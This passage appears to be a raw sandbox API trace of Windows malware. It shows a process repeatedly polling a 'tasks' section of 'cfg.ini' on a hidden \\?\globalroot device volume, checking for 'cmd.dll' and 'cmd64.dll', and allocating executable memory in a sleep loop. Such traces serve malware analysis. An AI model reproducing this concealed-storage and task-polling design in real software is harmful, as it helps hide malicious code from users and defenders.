Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.975] IdePortDispatch () returned 0x103 [0119.975] KeWaitForMutexObject () returned 0x0 [0119.975] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.975] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.975] KeLeaveCriticalRegion () [0119.975] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.976] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.976] KeEnterCriticalRegion () [0119.976] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.976] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b2b000 [0119.976] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.976] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0119.976] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0119.976] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.976] IdePortDispatch () returned 0x103 [0119.976] KeWaitForMutexObject () returned 0x0 [0119.976] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.976] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.976] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0119.976] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0119.976] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.976] IdePortDispatch () returned 0x103 [0119.976] KeWaitForMutexObject () returned 0x0 [0119.976] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.976] KeLeaveCriticalRegion () [0119.976] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.977] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.977] KeEnterCriticalRegion () [0119.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.977] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.977] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.977] KeLeaveCriticalRegion () [0119.977] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.977] KeEnterCriticalRegion () [0119.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.977] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.977] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcd830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.977] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.977] KeLeaveCriticalRegion () [0119.977] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.977] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.977] KeEnterCriticalRegion () [0119.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.977] ExFreePoolWithTag (P=0xfffffa8003aa6fb0, Tag=0x0) [0119.977] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.977] KeLeaveCriticalRegion () [0119.977] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.977] ReleaseMutex (hMutex=0xf0) returned 1 [0119.978] Sleep (dwMilliseconds=0x927c0) [0119.992] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.992] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.992] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.992] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.992] KeEnterCriticalRegion () [0119.992] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.992] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.992] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.992] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.992] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.992] IdePortDispatch () returned 0x103 [0119.992] KeWaitForMutexObject () returned 0x0 [0119.993] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.993] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.993] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.993] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.993] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.993] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6fb0 [0119.993] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.993] KeLeaveCriticalRegion () [0119.993] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.993] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.993] KeEnterCriticalRegion () [0119.993] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.993] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.993] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.993] KeLeaveCriticalRegion () [0119.993] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.993] KeEnterCriticalRegion () [0119.993] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.993] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.993] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.993] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.993] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.993] IdePortDispatch () returned 0x103 [0119.993] KeWaitForMutexObject () returned 0x0 [0119.993] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.993] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.993] KeLeaveCriticalRegion () [0119.993] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.993] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.993] KeEnterCriticalRegion () [0119.993] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.993] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b30000 [0119.993] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.993] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0119.993] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0119.994] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.994] IdePortDispatch () returned 0x103 [0119.994] KeWaitForMutexObject () returned 0x0 [0119.994] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.994] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.994] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0119.994] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0119.994] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.994] IdePortDispatch () returned 0x103 [0119.994] KeWaitForMutexObject () returned 0x0 [0119.994] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.994] KeLeaveCriticalRegion () [0119.994] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.995] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.995] KeEnterCriticalRegion () [0119.995] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.995] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.995] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.995] KeLeaveCriticalRegion () [0119.995] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.995] KeEnterCriticalRegion () [0119.995] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.995] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.995] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcd380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.995] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.995] KeLeaveCriticalRegion () [0119.995] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.995] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.995] KeEnterCriticalRegion () [0119.995] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.995] ExFreePoolWithTag (P=0xfffffa8003aa6fb0, Tag=0x0) [0119.995] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.995] KeLeaveCriticalRegion () [0119.995] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.995] ReleaseMutex (hMutex=0xf0) returned 1 [0119.995] Sleep (dwMilliseconds=0x927c0) [0120.010] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.010] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.010] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.010] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.010] KeEnterCriticalRegion () [0120.010] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.011] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.011] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.011] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.011] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.011] IdePortDispatch () returned 0x103 [0120.011] KeWaitForMutexObject () returned 0x0 [0120.012] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.012] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.012] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.012] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.012] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.012] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc92d0 [0120.012] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.012] KeLeaveCriticalRegion () [0120.012] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.012] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.012] KeEnterCriticalRegion () [0120.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.012] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.012] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.012] KeLeaveCriticalRegion () [0120.012] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.013] KeEnterCriticalRegion () [0120.013] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.013] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.013] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.013] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.013] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.013] IdePortDispatch () returned 0x103 [0120.013] KeWaitForMutexObject () returned 0x0 [0120.013] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.013] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.013] KeLeaveCriticalRegion () [0120.013] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.013] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.013] KeEnterCriticalRegion () [0120.013] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.013] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b55000 [0120.013] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.013] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.013] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.013] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.013] IdePortDispatch () returned 0x103 [0120.013] KeWaitForMutexObject () returned 0x0 [0120.014] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.014] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.014] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.014] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.014] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.014] IdePortDispatch () returned 0x103 [0120.014] KeWaitForMutexObject () returned 0x0 [0120.015] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.015] KeLeaveCriticalRegion () [0120.015] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.016] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.016] KeEnterCriticalRegion () [0120.016] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.016] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.016] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.016] KeLeaveCriticalRegion () [0120.016] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.016] KeEnterCriticalRegion () [0120.016] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.016] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.016] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcca80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.016] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.016] KeLeaveCriticalRegion () [0120.016] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.016] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.016] KeEnterCriticalRegion () [0120.016] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.016] ExFreePoolWithTag (P=0xfffffa8003bc92d0, Tag=0x0) [0120.016] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.016] KeLeaveCriticalRegion () [0120.016] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.016] ReleaseMutex (hMutex=0xf0) returned 1 [0120.016] Sleep (dwMilliseconds=0x927c0) [0120.018] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.018] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.026] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.026] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.026] KeEnterCriticalRegion () [0120.026] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.026] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.026] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.026] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.026] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.026] IdePortDispatch () returned 0x103 [0120.026] KeWaitForMutexObject () returned 0x0 [0120.026] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.027] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.027] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.027] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.027] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.027] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6fb0 [0120.027] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.027] KeLeaveCriticalRegion () [0120.027] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.027] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.027] KeEnterCriticalRegion () [0120.027] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.027] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.027] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.027] KeLeaveCriticalRegion () [0120.027] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.027] KeEnterCriticalRegion () [0120.027] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.027] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.027] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.027] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.027] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.027] IdePortDispatch () returned 0x103 [0120.027] KeWaitForMutexObject () returned 0x0 [0120.027] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.027] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.027] KeLeaveCriticalRegion () [0120.027] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.027] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.027] KeEnterCriticalRegion () [0120.027] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.027] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bf8000 [0120.027] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.027] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.027] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.027] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.027] IdePortDispatch () returned 0x103 [0120.028] KeWaitForMutexObject () returned 0x0 [0120.028] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.028] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.028] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.028] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.028] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.028] IdePortDispatch () returned 